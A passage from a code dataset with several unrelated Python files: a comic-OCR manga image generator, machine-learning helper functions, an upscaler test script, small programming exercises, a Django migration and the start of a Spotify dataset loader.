List[str]:\n return load_texts(get_path_example_dir() + '/text/texts.txt')\n\n\n# ------------------\n\n\ndef _draw_random_drawing(\n random: Random,\n draw: Drawable,\n choices_drawings: List[Image.Image],\n padding: int = 5,\n bound: Optional[Rectangle] = None):\n if not bound:\n bound = Rectangle.of_size(draw.size)\n\n row = bound.top\n while row < bound.bottom:\n i = random.randint(0, len(choices_drawings) - 1)\n main_drawing = choices_drawings[i].copy()\n\n if random.random() > 0.2:\n random_width = max(100, int(random.random() * main_drawing.width))\n main_drawing = _random_resize_to_width(random, main_drawing, random_width)\n\n if main_drawing.height > 100 and random.random() > 0.4:\n crop_top = max(0, random.randint(-300, main_drawing.height - 100))\n crop_bottom = min(main_drawing.height, random.randint(crop_top + 100, main_drawing.height + 100))\n main_drawing = main_drawing.crop((0, crop_top, main_drawing.width, crop_bottom))\n\n if main_drawing.width + 2 * padding > bound.width:\n main_drawing = _random_resize_to_width(random, main_drawing, bound.width - 2 * padding)\n\n draw.paste(main_drawing, (bound.left + padding, row + padding))\n remaining_width = bound.width - padding - main_drawing.width\n if remaining_width > padding + 50:\n sub_random = Random(random.random())\n sub_bound = Rectangle.of_tl_br(tl=(bound.right - remaining_width, row), br=bound.br)\n _draw_random_drawing(sub_random, draw, choices_drawings, padding, bound=sub_bound)\n\n row += main_drawing.height + padding\n\n\ndef _random_resize_to_width(random: Random, image: Image.Image, width: int):\n if random.random() > 0.5:\n ratio = (width / float(image.size[0]))\n height = int((float(image.size[1]) * float(ratio)))\n return image.resize((width, height))\n\n crop_left = random.randint(0, image.width - width)\n crop_right = crop_left + width\n return image.crop((crop_left, 0, crop_right, image.height))\n\n\ndef _draw_non_overlap_text_areas(\n random: Random,\n image: Drawable,\n text_count: int,\n choices_texts: List[str],\n choices_font: List[ImageFont.ImageFont],\n max_retry_count=5\n) -> List[TextArea]:\n bound = Rectangle.of_size(image.size)\n drawn_rects: List[Rectangle] = []\n output: List[TextArea] = []\n\n for i in range(text_count):\n\n attempt = 0\n while attempt < max_retry_count:\n text = random.choice(choices_texts)\n font = random.choice(choices_font)\n\n text_area = _create_random_text_area(random, bound, text, font)\n text_rect = text_area.text_rect\n\n if text_rect in bound:\n if not any(rect for rect in drawn_rects if Rectangle.is_overlap(text_rect, rect)):\n drawn_rects.append(text_rect)\n output.append(text_area)\n text_area.draw(image)\n break\n attempt += 1\n\n if attempt >= max_retry_count:\n raise ValueError(\n f'Could not generate non-overlap texts after random {max_retry_count} retries. '\n f'Please try different `choices_*` or reduce `text_count`')\n\n return output\n\n\ndef _create_random_text_area(\n random: Random,\n bound: Rectangle,\n text: str,\n font: ImageFont,\n bubble_to_rect_ratio=2 / 1\n) -> TextArea:\n xy = Point.of(\n x=random.randint(bound.left + 10, bound.right - 100),\n y=random.randint(bound.top + 10, bound.bottom - 100))\n\n width = min(bound.right - xy.x, random.randint(150, 300))\n\n if random.random() > bubble_to_rect_ratio / (bubble_to_rect_ratio + 1):\n return TextRect(xy, text=text, font=font, max_width=width)\n else:\n return TextBubble(xy, text=text, font=font, max_width=width)\n\n\nif __name__ == \"__main__\":\n generator = MangaGenerator.create()\n image, text_areas = generator.generate(random_seed='xyz')\n image.show()\n\n for text_area in text_areas:\n drw = ImageDraw.Draw(image, 'RGBA')\n text_area.draw_text_rect(drw, fill='#3f3fff55')\n text_area.draw_line_rects(drw, fill='#ff0f0f8f')\n\n image.show()\n","repo_name":"wanasit/comic-ocr","sub_path":"comic_ocr/dataset/generated_manga/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":8056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1566113501","text":"from numpy import *\nimport matplotlib.pyplot as plt\nfrom sklearn import *\nfrom operator import itemgetter\nimport scipy.optimize as sp_optimize\nimport sys\n\n\ndef gaussian_minimum_expected_loss_decisions(samples, loss_matrix, class_means, class_covs,\n class_priors):\n\t# Find number of classes and validate that number\n\tnum_classes = len(loss_matrix)\n\tif len(loss_matrix[0]) != num_classes or len(class_means) != num_classes or len(class_covs) != num_classes:\n\t\tprint(\"Error: Non-matching number of classes passed to gaussian_minimum_expected_loss function\")\n\t\treturn\n\t# Loop through all samples to decide class for each\n\tsample_decisions = []\n\tfor sample_index in range(len(samples)):\n\t\t# Loop through all classes to find risk associated with assigning sample to each\n\t\trisk = zeros([num_classes])\n\t\tfor assumed_class in range(num_classes):\n\t\t\ttotal_loss = 0\n\t\t\t# Loop through all classes to calculate loss associated with deciding each given assumed class\n\t\t\tfor decision_class in range(num_classes):\n\t\t\t\ttotal_loss += loss_matrix[assumed_class][decision_class] \\\n\t\t\t\t * class_priors[decision_class] \\\n\t\t\t\t * multivariate_gaussian_pdf([samples[sample_index]], class_means[decision_class],\n\t\t\t\t class_covs[decision_class])[0]\n\t\t\trisk[assumed_class] = total_loss\n\t\t# Find minimum risk and add to sample decisions\n\t\tminimum_risk_class = argsort(risk)[0] + 1\n\t\tsample_decisions.append(minimum_risk_class)\n\n\treturn sample_decisions\n\n\ndef generate_confusion_matrix_counts(sample_decisions, sample_labels, num_classes):\n\t# Validate that number of sample decisions and labels are the same\n\tif len(sample_decisions) != len(sample_labels):\n\t\tprint(\"Error: Non-matching number of samples passed to generate_confusion_matrix function\")\n\t\treturn\n\t# Create confusion matrix with rows = predicted classes, columns = actual classes\n\tconfusion_matrix_count = zeros([num_classes, num_classes])\n\tfor sample_index in range(len(sample_decisions)):\n\t\tconfusion_matrix_count[sample_decisions[sample_index] - 1][sample_labels[sample_index] - 1] += 1\n\treturn confusion_matrix_count\n\n\ndef generate_confusion_matrix(sample_decisions, sample_labels, num_classes):\n\tconfusion_matrix_count = generate_confusion_matrix_counts(sample_decisions, sample_labels, num_classes)\n\t# Create confusion matrix with rows = predicted classes, columns = actual classes\n\tconfusion_matrix = zeros([num_classes, num_classes])\n\tfor row in range(num_classes):\n\t\tfor col in range(num_classes):\n\t\t\tconfusion_matrix[row][col] = confusion_matrix_count[row][col] / sum(confusion_matrix_count[:, col])\n\treturn confusion_matrix\n\n\ndef multivariate_gaussian_pdf(x, mean, covariance, x_len=-1):\n\t\"\"\"\n Returns likelihoods of all samples in array given mean and covariance\n :param x: Array of samples\n :param mean: Mean of multivariate distribution as 1-D matrix\n :param covariance: Covariance of multivariate distribution as 2-D matrix\n :param x_len: Length of x, helps speed up algorithm when this is called a lot\n :return: Array of likelihoods\n \"\"\"\n\tif x_len == -1:\n\t\tx_len = len(x)\n\tret_matrix = []\n\tdimensions = len(mean)\n\tnormalization_constant = ((2 * math.pi) ** (-dimensions / 2)) * (linalg.det(covariance) ** -0.5)\n\tcov_inv = linalg.inv(covariance)\n\tfor i in range(x_len):\n\t\tmean_diff = subtract(x[i], mean)\n\t\texponent = math.exp(matmul(matmul(-0.5 * transpose(mean_diff), cov_inv), mean_diff))\n\t\tlikelihood = normalization_constant * exponent\n\t\tret_matrix.append(likelihood)\n\treturn ret_matrix\n\n\ndef generate_roc_curve(likelihood_ratios_array, is_low_ratio_origin, sample_labels_array, prior_class_denominator,\n prior_class_numerator):\n\t# Check for valid array lengths\n\tif len(likelihood_ratios_array) != len(sample_labels_array):\n\t\treturn\n\n\t# Sort likelihood ratios, samples, and labels to make selecting good gamma threshold values\n\tlikelihood_sort_results = argsort(likelihood_ratios_array * (-1 if is_low_ratio_origin else 1))\n\tlikelihood_ratios = likelihood_ratios_array[likelihood_sort_results]\n\tsample_labels = array(sample_labels_array)[likelihood_sort_results]\n\n\t# True/False Positives/Negatives numbers instead of percentages at first for more efficient looping through samples\n\ttrue_positives = []\n\tfalse_positives = []\n\ttrue_negatives = []\n\tfalse_negatives = []\n\tgammas = []\n\t# Keep looping to increase gamma threshold until all samples are classified into same class\n\tfor i in range(len(likelihood_ratios_array)):\n\t\t# Find all true/false positives/negatives\n\t\tif i == 0:\n\t\t\ttrue_positives.append(sum(sample_labels))\n\t\t\tfalse_positives.append(len(likelihood_ratios_array) - true_positives[0])\n\t\t\ttrue_negatives.append(0)\n\t\t\tfalse_negatives.append(0)\n\t\t\tgammas.append(likelihood_ratios[i] - 1) # Amount under lowest likelihood isn't important\n\n\t\t# Calculate gamma threshold for this iteration\n\t\tif i == len(likelihood_ratios_array) - 1:\n\t\t\tgamma_threshold = likelihood_ratios[i] + 1 # The amount over the highest likelihood isn't important\n\t\telse:\n\t\t\tgamma_threshold = (likelihood_ratios[i] + likelihood_ratios[i + 1]) / 2\n\t\tgammas.append(gamma_threshold)\n\n\t\t# Find which positive is subtracted from and which negative is added to based on label of likelihood passed\n\t\ttemp_true_positives = 0\n\t\ttemp_false_positives = 0\n\t\ttemp_true_negatives = 0\n\t\ttemp_false_negatives = 0\n\t\tif sample_labels[i] == 0:\n\t\t\ttemp_false_positives = -1\n\t\t\ttemp_true_negatives = 1\n\t\telse:\n\t\t\ttemp_true_positives = -1\n\t\t\ttemp_false_negatives = 1\n\t\ttrue_positives.append(true_positives[-1] + temp_true_positives)\n\t\tfalse_positives.append(false_positives[-1] + temp_false_positives)\n\t\ttrue_negatives.append(true_negatives[-1] + temp_true_negatives)\n\t\tfalse_negatives.append(false_negatives[-1] + temp_false_negatives)\n\n\t# Change true/false positives/negatives from numbers to percentages\n\tfor i in range(len(likelihood_ratios_array) + 1):\n\t\ttemp_tp = true_positives[i] / (true_positives[i] + false_negatives[i]) if (true_positives[i] +\n\t\t false_negatives[i]) > 0 else 0\n\t\ttemp_fp = false_positives[i] / (false_positives[i] + true_negatives[i]) if false_positives[i] + \\\n\t\t true_negatives[i] > 0 else 0\n\t\ttemp_tn = true_negatives[i] / (false_positives[i] + true_negatives[i]) if false_positives[i] + \\\n\t\t true_negatives[i] > 0 else 0\n\t\ttemp_fn = false_negatives[i] / (true_positives[i] + false_negatives[i]) if (true_positives[i] +\n\t\t false_negatives[i]) > 0 else 0\n\t\ttrue_positives[i] = temp_tp\n\t\tfalse_positives[i] = temp_fp\n\t\ttrue_negatives[i] = temp_tn\n\t\tfalse_negatives[i] = temp_fn\n\n\t# Find minimum probability of error\n\tmin_error_prob = 1\n\tmin_error_index = 0\n\tfor i in range(len(likelihood_ratios_array)):\n\t\tcur_error = false_positives[i] * prior_class_denominator + false_negatives[i] * prior_class_numerator\n\t\tif cur_error < min_error_prob:\n\t\t\tmin_error_prob = cur_error\n\t\t\tmin_error_index = i\n\tprint(\"P(error) = \" + str(min_error_prob) + \", Gamma = \" + str(gammas[min_error_index]))\n\n\t# Find area under ROC curve\n\tarea = 0\n\tfor i in range(1, len(likelihood_ratios_array)):\n\t\tarea += (true_positives[i] + true_positives[i - 1]) / 2 * (false_positives[i - 1] - false_positives[i])\n\n\t# Plot ROC curve and min probability of error\n\tplt.plot(false_positives, true_positives, 'b',\n\t false_positives[min_error_index], true_positives[min_error_index], 'ro')\n\tplt.title(\"Minimum Expected Risk ROC Curve\")\n\tplt.xlabel(\"P (False Positive)\")\n\tplt.ylabel(\"P (True Positive)\")\n\tplt.legend(['ROC Curve', 'Estimated Min Error'])\n\tplt.text(0.4, 0.5, \"Area Under ROC: \" + str(round(area, 5)))\n\tplt.text(false_positives[min_error_index] + 0.03, true_positives[min_error_index] - 0.03,\n\t \"(\" + str(round(false_positives[min_error_index], 3)) + \",\" +\n\t str(round(true_positives[min_error_index], 3)) + \")\")\n\tplt.show()\n\n\treturn min_error_prob, gammas[min_error_index]\n\n\ndef gmm_estimate_parameters(samples, num_gaussians, num_inits, convergence_threshold):\n\tnew_samples = samples\n\tsample_len = len(samples)\n\tmax_log_likelihood = -10000000000000000 # Very very small number\n\tmax_priors = [0] * num_gaussians\n\tmax_means = [0] * num_gaussians\n\tmax_covs = [0] * num_gaussians\n\tfor loop in range(num_inits):\n\t\trandom.shuffle(new_samples)\n\t\t# Initialize priors, means, and covariances\n\t\t# Priors initially all equal\n\t\tpriors = [1 / num_gaussians] * num_gaussians\n\t\t# Means are means of samples split equally into classes\n\t\tmeans = [mean(new_samples[round(i * sample_len / num_gaussians):\n\t\t round((i + 1) * sample_len / num_gaussians - 1)],\n\t\t axis=0) for i in range(num_gaussians)]\n\t\t# Covariances are covariances of samples split equally into classes\n\t\tcovs = [cov(transpose(new_samples[round(i * sample_len / num_gaussians):\n\t\t round((i + 1) * sample_len / num_gaussians - 1)]))\n\t\t for i in range(num_gaussians)]\n\t\tconverged = False\n\t\t# Keep iterating algorithm while it hasn't converged\n\t\twhile not converged:\n\t\t\t# Class likelihoods given samples have rows = classes and columns = samples\n\t\t\tclass_likelihoods_temp = [\n\t\t\t\t(multiply(priors[i], multivariate_gaussian_pdf(new_samples, means[i], covs[i], sample_len)))\n\t\t\t\tfor i in range(num_gaussians)]\n\t\t\tclass_likelihoods_temp_column_sums = sum(class_likelihoods_temp, axis=0)\n\t\t\tclass_likelihoods_given_samples = [[class_likelihoods_temp[i][j] / class_likelihoods_temp_column_sums[j]\n\t\t\t for j in range(sample_len)] for i in range(num_gaussians)]\n\t\t\t# Calculate new priors, means, and covariance values\n\t\t\tpriors_new = [mean(class_likelihoods_given_samples[i]) for i in range(num_gaussians)]\n\t\t\tmeans_new = [divide(sum([multiply(new_samples[j], class_likelihoods_given_samples[i][j])\n\t\t\t for j in range(sample_len)], axis=0),\n\t\t\t sum(class_likelihoods_given_samples[i]))\n\t\t\t for i in range(num_gaussians)]\n\t\t\tcovs_new = [add(divide(sum([multiply(class_likelihoods_given_samples[i][j],\n\t\t\t outer((subtract(new_samples[j], means_new[i])),\n\t\t\t transpose(subtract(new_samples[j], means_new[i]))))\n\t\t\t for j in range(sample_len)], axis=0),\n\t\t\t sum(class_likelihoods_given_samples[i])), 0.0000000001 * identity(len(samples[0])))\n\t\t\t for i in range(num_gaussians)]\n\t\t\t# Check for convergence\n\t\t\tif mean(absolute(subtract(priors_new, priors))) + \\\n\t\t\t\tmean(absolute(subtract(means_new, means))) + \\\n\t\t\t\tmean(absolute(subtract(covs_new, covs))) < convergence_threshold:\n\t\t\t\tconverged = True\n\t\t\t# Set new prior, mean, and covariance values\n\t\t\tpriors = priors_new\n\t\t\tmeans = means_new\n\t\t\tcovs = covs_new\n\n\t\t# Use estimated parameters to find likelihood. Save if this is the best likelihood of all initializations\n\t\tpdfs = zeros(sample_len)\n\t\tfor i in range(num_gaussians):\n\t\t\ttemp_pdf = add(pdfs, multiply(priors[i],\n\t\t\t multivariate_gaussian_pdf(new_samples, means[i], covs[i])))\n\t\t\tpdfs = temp_pdf\n\t\tlog_likelihood = sum(log(pdfs))\n\t\tif log_likelihood > max_log_likelihood:\n\t\t\tmax_log_likelihood = log_likelihood\n\t\t\tmax_priors = priors\n\t\t\tmax_means = means\n\t\t\tmax_covs = covs\n\n\treturn max_priors, max_means, max_covs, max_log_likelihood\n\n\ndef random_class_index(priors):\n\t\"\"\"\n Returns a weighted random index from 0 to len(priors) (uninclusive) based on the prior values\n :param priors: Class priors that must add up to 1\n :return: Index from 0 to len(priors)-1\n \"\"\"\n\trand_num = random.rand()\n\tsummer = 0\n\tfor j in range(len(priors)):\n\t\tsummer += priors[j]\n\t\tif rand_num < summer:\n\t\t\treturn j\n\treturn -1 # Should never get here, but return something that will never happen if we do get here\n\n\ndef calculate_bic(d_train, max_gaussians, b_verbose):\n\t\"\"\"\n Calculates BIC and returns array of BIC score at each gaussian\n :param d_train: Training data as numpy array\n :param max_gaussians: Max number of gaussians to calculate BIC for\n :param b_verbose: Boolean to enable/disable printing of progress\n :return: Chosen num gaussians, numpy array of BIC values from 1 to max gaussians\n \"\"\"\n\t# Calculate BIC model-order criterion\n\tbic_array = []\n\tfor gaussians in range(1, max_gaussians + 1):\n\t\tdist = mixture.GaussianMixture(n_components=gaussians, covariance_type='diag', n_init=3,\n\t\t init_params='kmeans', max_iter=100000, tol=0.0001, reg_covar=1e-10)\n\t\tdist.fit(d_train)\n\t\tlog_likelihood = sum(dist.score_samples(d_train))\n\t\tbic = -2 * log_likelihood + (gaussians * (1 + d_train.shape[1] * 2 +\n\t\t sum([i for i in range(1, d_train.shape[1])])) -\n\t\t 1) * log(d_train.shape[0])\n\t\tbic_array.append(bic)\n\t\tif b_verbose:\n\t\t\tprint(str(len(d_train)) + \"-sample BIC for \" + str(gaussians) + \" Classes: \" + str(bic))\n\tmin_index = min(enumerate(bic_array), key=itemgetter(1))[0]\n\treturn min_index + 1, bic_array\n\n\ndef k_fold_cross_validation(d_train, K, performance_func, stop_consec_decreases, b_verbose, d_train_labels=None,\n initial_order=1, order_step=1, args=()):\n\t\"\"\"\n Run k-fold validation on a set of data using a given function as a performance metric for different model orders\n :param d_train: Data to run k-fold cross validation on\n :param K: Number of parts to partition data into for training/validation\n :param performance_func: Function to evaluate performance. Must take in (d_train, d_validate, model_order,\n d_train_labels (if d_train_labels passed), d_validate_labels (if d_train_labels_passed), args)\n :param stop_consec_decreases: Number of consecutive performance decreases before stopping the model order increase\n :param b_verbose: Whether to print progress to console along the way\n :param d_train_labels: Optional labels of training data for supervised learning\n :param initial_order: Initial order to start search at\n :param order_step: How much to increase order by each time through\n\t:param args: Extra arguments to performance function\n :return: Selected model order as single integer\n \"\"\"\n\t# Get indices to partition data into K parts to prep for K-fold cross validation\n\tpartition_indexes = r_[linspace(0, d_train.shape[0], num=K, endpoint=False, dtype=int), d_train.shape[0]]\n\t# Loop through using different data partition as validation data\n\tbest_performance_orders = zeros(shape=[K])\n\tfor k in range(K):\n\t\t# Get training and validation data sets for this iteration of k\n\t\td_train_temp = r_[d_train[:partition_indexes[k]], d_train[partition_indexes[k + 1]:]]\n\t\td_validate_temp = d_train[partition_indexes[k]:partition_indexes[k + 1]]\n\t\td_train_labels_temp = r_[d_train_labels[:partition_indexes[k]],\n\t\t d_train_labels[partition_indexes[k + 1]:]] if d_train_labels is not None else None\n\t\td_validate_labels_temp = d_train_labels[partition_indexes[k]:\n\t\t partition_indexes[k + 1]] if d_train_labels is not None else None\n\t\tconsec_performance_decreases = 0\n\t\tlast_performance = -10000000 # Very low number\n\t\tbest_performance = -10000000 # Very low number\n\t\tbest_performance_order = 0\n\t\tmodel_order = initial_order\n\t\t# Increase model order until performance decreases stop_consec_decreases consecutive times\n\t\twhile consec_performance_decreases < stop_consec_decreases:\n\t\t\tperformance = performance_func(d_train_temp, d_validate_temp, model_order, args) if d_train_labels is None \\\n\t\t\t\telse performance_func(d_train_temp, d_validate_temp, model_order, d_train_labels_temp,\n\t\t\t\t d_validate_labels_temp, args)\n\t\t\tconsec_performance_decreases = consec_performance_decreases + 1 if performance <= last_performance else 0\n\t\t\tif performance > best_performance:\n\t\t\t\tbest_performance = performance\n\t\t\t\tbest_performance_order = model_order\n\t\t\tbest_performance = performance if performance > best_performance else best_performance\n\t\t\tlast_performance = performance\n\t\t\tif b_verbose:\n\t\t\t\tprint(str(model_order) + \" model order for K \" + str(k + 1) + \"/\" + str(K) + \", sample size = \" +\n\t\t\t\t str(d_train.shape[0]) + \", performance = \" + str(performance))\n\t\t\tmodel_order += order_step\n\t\tbest_performance_orders[k] = best_performance_order\n\t\tif b_verbose:\n\t\t\tprint(\"K \" + str(k + 1) + \"/\" + str(K) + \" complete, sample size = \" + str(d_train.shape[0]) +\n\t\t\t \", chosen order = \" + str(best_performance_order))\n\treturn_order = mean(best_performance_orders)\n\tif b_verbose:\n\t\tprint(\"Sample size \" + str(d_train.shape[0]) + \" complete, chosen order = \" + str(return_order))\n\treturn return_order\n\n\ndef logistic_binary_classification_likelihood(model_params, d_train, d_train_labels, fit_type):\n\t\"\"\"\n Calculates average negative log likelihood of class posteriors given sample x\n :param model_params: Vector of model parameters to fit sample to\n :param d_train: Training data\n :param d_train_labels: Label of training data\n :param fit_type: Type of fit to look for. Must be linear, quadratic\n :return: Average negative log likelihood of choosing correct class given sample\n \"\"\"\n\tif fit_type == 'linear':\n\t\tz = [r_[1, sample] for sample in d_train]\n\telif fit_type == 'quadratic':\n\t\tz = [r_[1, sample, sample[0] ** 2, sample[0] * sample[1], sample[1] ** 2] for sample in d_train]\n\telse:\n\t\tprint('Logistic Binary Classification Unknown fit type')\n\t\texit(-1)\n\t\treturn\n\t# Logistic values are 1/(1+e^wz), where w is model params and z is sample weight vector\n\tlogistic_values = [1.0 / (1 + exp(matmul(model_params, z[sample]))) for sample in range(len(d_train))]\n\t# Likelihood is 1 - logistic value if class = 0\n\tcorrect_class_likelihoods = [(1 - logistic_values[i] if d_train_labels[i] == 0 else logistic_values[i])\n\t for i in range(len(d_train))]\n\t# Average the log likelihoods of being the correct class\n\treturn -mean(log(correct_class_likelihoods))\n\n\ndef logistic_binary_classification(d_train, d_train_labels, model_params_init, fit_type):\n\t\"\"\"\n Performs logistic-based binary classification and returns model parameters\n :param d_train: Training data\n :param d_train_labels: Training data labels\n :param model_params_init: Initial estimates of model parameters\n :param fit_type: Type of fit to look for. Must be linear, quadratic\n :return:\n \"\"\"\n\t# Find minimized logistic binary classification function and return if successful\n\toptimization_result = sp_optimize.minimize(fun=logistic_binary_classification_likelihood, x0=model_params_init,\n\t args=(d_train, d_train_labels, fit_type), method='Nelder-Mead',\n\t options={'maxiter': 5000, 'fatol': 0.001})\n\tif not optimization_result.success:\n\t\tprint(optimization_result.message)\n\t\texit(-1)\n\treturn optimization_result.x\n","repo_name":"bf2799/eece-5644-machine-learning","sub_path":"common/ml_helpers.py","file_name":"ml_helpers.py","file_ext":"py","file_size_in_byte":19184,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33672546724","text":"import glob\nimport os\n\nouts = []\n\nos.system(\"cargo install --git https://github.com/DhruvDh/upscaler\")\n\nfor ext in [\"png\", \"jpg\", \"jpeg\"]:\n outs.extend(glob.glob(\"./*_*x.\" + ext))\n outs.extend(glob.glob(\"./**/*_*x.\" + ext))\n\nfor out in outs:\n # os.system(\"rm \" + out)\n if \"_2x\" in out:\n s = 2\n _in = out.replace(\"_2x\", \"\")\n cmd = f\"upscaler {_in} {out} -s {s}\"\n print(f\"Running {cmd}\")\n os.system(cmd)\n\n if \"_4x\" in out:\n s = 4\n _in = out.replace(\"_4x\", \"\")\n cmd = f\"upscaler {_in} {out} -s {s}\"\n print(f\"Running {cmd}\")\n os.system(cmd)\n ","repo_name":"DhruvDh/upscaler","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"36166308381","text":"number = int(input(\"Enter a number:\")) #take a number as an input\r\nnumber_copy = number #copy that number to a variable so that we can use it later\r\nreverse_number=0\r\nwhile(number>0): #loop to reverse all the digits in the number and store them in another variable(reverse_number)\r\n reverse_number=reverse_number*10+(number%10) #(number%10) gives the last digit of the number and we add that digit to the next 10ths place of the reverse_number(reverse_number*10)\r\n number=number//10 # the number is floor divided by 10 to get the next digit of the number from right to left\r\nif(number_copy==reverse_number): #check if the reversed number is equal to the original number\r\n print(\"The number is palindrome!\") #if 'yes' then it is a palindrome\r\nelse:\r\n print(\"The number is not a palindrome!\") #if 'no' then it is not a palindrome","repo_name":"C0D1NG/Programming","sub_path":"Python/Palindrome_LollaSravani.py","file_name":"Palindrome_LollaSravani.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"37"} +{"seq_id":"72654739947","text":"arr = []\r\nbreaker = False\r\nfor i in range(9) :\r\n arr.append(int(input()))\r\n\r\narr.sort()\r\n\r\nkey = sum(arr) - 100\r\nfor i in arr :\r\n for j in arr :\r\n if i != j and i+j == key :\r\n arr.remove(i)\r\n arr.remove(j)\r\n breaker = True\r\n break\r\n if breaker == True :\r\n break\r\n\r\nfor i in arr :\r\n print(i)","repo_name":"Legitgoons/algorithm","sub_path":"백준/Bronze/2309. 일곱 난쟁이/일곱 난쟁이.py","file_name":"일곱 난쟁이.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"565947233","text":"import nltk\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.tokenize import word_tokenize,sent_tokenize\r\n# nltk.download()\r\n\r\nstopwords=set(stopwords.words('english'))\r\ntxt=\"Welcome to amal jyothi college of engineering.\" \\\r\n \"college was established in two thousand.\" \\\r\n \"The college is under ktu.\" \\\r\n \"College was located in kottayam.\"\\\r\n \"Amal jyothi is very good for infrastructure .\"\\\r\n \"The faculity members of amal jyothi is very good\"\\\r\n \"The courses offered by amal jyothi college is IntMCA,MCA and various Btech programs\"\r\n\r\ntokenize=sent_tokenize(txt)\r\nfor i in tokenize:\r\n wordlist=word_tokenize(i)\r\n wordlist=[w for w in wordlist if not w in stopwords]\r\n tagged=nltk.pos_tag(wordlist)\r\n print(tagged)\r\n\r\n\r\n#Chunking\r\n# from nltk import RegexpParser\r\n#\r\n# grammer=\"NP:{

?*}\"\r\n# tokenise=word_tokenize(txt)\r\n# tagg=nltk.pos_tag(tokenise)\r\n# print(tokenise)\r\n# print(tagg)\r\n# RegexParser=RegexpParser(grammer)\r\n# chunked=RegexParser.parse(tagg)\r\n# print(chunked)\r\n# chunked.draw()","repo_name":"arjunprabhakar/Machine-Learning","sub_path":"TagNltk.py","file_name":"TagNltk.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7480820875","text":"import colorama\nfrom colorama import Fore, Back, Style\nfrom colorama import init\ninit()\nfrom variables import *\nfrom defintions import *\nfor game in range(1, 7):\n displayBoard()\n inputword()\n from defintions import win\n from defintions import playerword\n if win == 1 :\n break\n print(\"\\n\")\n \nif win == 1 :\n displayBoard()\n print(Style.RESET_ALL + \"Congratulations you guessed the word\")\nelse :\n print(Fore.RED + \"GAME OVER\")\n displayBoard()\n print(Style.RESET_ALL + \"You have run out of trys!\")\n for x in range(0,5) :\n word[x] = Fore.BLUE + word[x]\n print(\"The word is :\",*word)\n\ninput(Back.BLACK + \"press enter to exit: \") \n","repo_name":"volkrunX/WordleRECREATION","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26905066155","text":"import pandas\n\nsquirrels = pandas.read_csv(\"2018_Central_Park_Squirrel_Data.csv\")\n# print(squirrels)\n\ngray_count = 0\ncinnamon_count = 0\nblack_count = 0\n\nfor row in squirrels[\"Primary Fur Color\"]:\n if row == \"Gray\":\n gray_count += 1\n if row == \"Cinnamon\":\n cinnamon_count += 1\n if row == \"Black\":\n black_count += 1\n\n\nsquirrel_count = {\n \"Color\": [\"Gray\", \"Cinnamon\", \"Black\"],\n \"Count\": [gray_count, cinnamon_count, black_count]\n}\n\ndata_frame = pandas.DataFrame(squirrel_count)\ndata_frame.to_csv(\"squirrel_count.csv\")\n","repo_name":"greenMakaroni/100-days-of-python-challenge","sub_path":"day 025/squirrel_data.py","file_name":"squirrel_data.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39786652949","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('jianguo', '0002_profile_avatar'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='profile',\n name='career',\n field=models.TextField(null=True, verbose_name='\\u804c\\u4e1a', blank=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='profile',\n name='introduction',\n field=models.TextField(null=True, verbose_name='\\u7b80\\u4ecb', blank=True),\n ),\n ]\n","repo_name":"shuoli84/jianguo","sub_path":"jianguo/migrations/0003_auto_20141006_0626.py","file_name":"0003_auto_20141006_0626.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34584706809","text":"import numpy as np\nfrom data_parser import DataParser\nimport os\nfrom dataset_description import *\n\n\nclass SpotifyDataset:\n SKIP = 1\n TRACK_FEATURES = 29\n SESSION_FEATURES = 18\n SESSION_PREDICTABLE_FEATURES = 16\n\n class Dataset:\n def __init__(self, data, shuffle_batches, seed=42):\n self._data = data\n self._size = len(self._data[DatasetDescription.SF_FIRST_HALF])\n self._shuffler = np.random.RandomState(seed) if shuffle_batches else None\n\n @property\n def data(self):\n return self._data\n\n @property\n def size(self):\n return self._size\n\n def batches(self, size=None):\n permutation = self._shuffler.permutation(self._size) if self._shuffler else np.arange(self._size)\n while len(permutation):\n batch_size = min(size or np.inf, len(permutation))\n batch_perm = permutation[:batch_size]\n permutation = permutation[batch_size:]\n\n batch = {}\n for key in self._data:\n batch[key] = np.array(self._data[key])[batch_perm]\n yield batch\n\n def __init__(self, log_folder, tf_folder, tf_preprocessor):\n self.parser = DataParser(tf_folder, tf_preprocessor)\n self.log_folder = log_folder\n\n def _split_to_dev_train(self, data, percents):\n train_sf_first, dev_sf_first = self._split_to_percents(data[DatasetDescription.SF_FIRST_HALF], percents)\n train_sf_second, dev_sf_second = self._split_to_percents(data[DatasetDescription.SF_SECOND_HALF], percents)\n train_tf_first, dev_tf_first = self._split_to_percents(data[DatasetDescription.TF_FIRST_HALF], percents)\n train_tf_second, dev_tf_second = self._split_to_percents(data[DatasetDescription.TF_SECOND_HALF], percents)\n train_sk, dev_sk = self._split_to_percents(data[DatasetDescription.SKIPS], percents)\n train_data = {DatasetDescription.SF_FIRST_HALF: train_sf_first,\n DatasetDescription.SF_SECOND_HALF: train_sf_second,\n DatasetDescription.TF_FIRST_HALF: train_tf_first,\n DatasetDescription.TF_SECOND_HALF: 